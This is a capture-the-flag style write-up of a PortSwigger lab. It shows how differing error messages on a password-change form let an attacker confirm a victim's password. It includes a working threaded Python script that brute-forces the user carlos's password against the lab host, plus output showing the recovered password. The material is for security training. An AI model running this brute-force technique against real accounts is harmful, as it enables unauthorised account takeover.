Password brute-force via password change | Dec 22, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Password brute-force via password change! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab’s password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his “My account” page.
- Your credentials:
wiener:peter
- Victim’s username:
carlos
- Candidate passwords
Exploitation
Login page:
Login as user wiener
:
In here, we can change user’s password.
Let’s try to update our password and intercept the request via Burp Suite:
When we clicked the Change password
button, it’ll send a POST request to /my-account/change-password
, with parameter username
, current-password
, new-password-1
, and new-password-2
.
Let’s drop that request and test one thing.
What if I entered an incorrect current password?
If the current password is incorrect, it’ll redirect me to /login
.
Also, the change password function has a parameter called username
.
What if I change that parameter to carlos
?
Still the same.
Now, what if the current password and confirm new password are incorrect?
It displays Current password is incorrect
.
Then what if the current password is correct, and confirm new password is incorrect?
It displays New passwords do not match
.
Armed with above information, we can brute force carlos
’s password via a python script:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def fetchPassword(filename):
listPassword = list()
with open(filename) as fd:
for line in fd:
listPassword.append(line.strip())
return listPassword
def sendRequest(url, cookie, password):
loginData = {
'username': 'carlos',
'current-password': password,
'new-password-1': 'fakepassword',
'new-password-2': 'fakefakepassword'
}
loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
if 'New passwords do not match' in loginRequestText:
print(f'[+] Found password: {password}')
def main():
url = 'https://0abf002404a8267cc24aa2710069002f.web-security-academy.net/my-account/change-password'
cookie = {
'session': 'vGQDEH6spu3GS37ZaaFrD05G1hdB1Vo1',
'session': 'MTTOtDOjdJHZRfxAtEgbVh7LiiSnLcqJ'
}
passwordFileName = './auth_password.txt'
listPassword = fetchPassword(passwordFileName)
for password in listPassword:
thread = Thread(target=sendRequest, args=(url, cookie, password))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_password_changepassword.py
[+] Found password: monkey
- Found
carlos
’s password:monkey
Let’s login as user carlos
!
I’m user carlos
!
What we’ve learned:
- Password brute-force via password change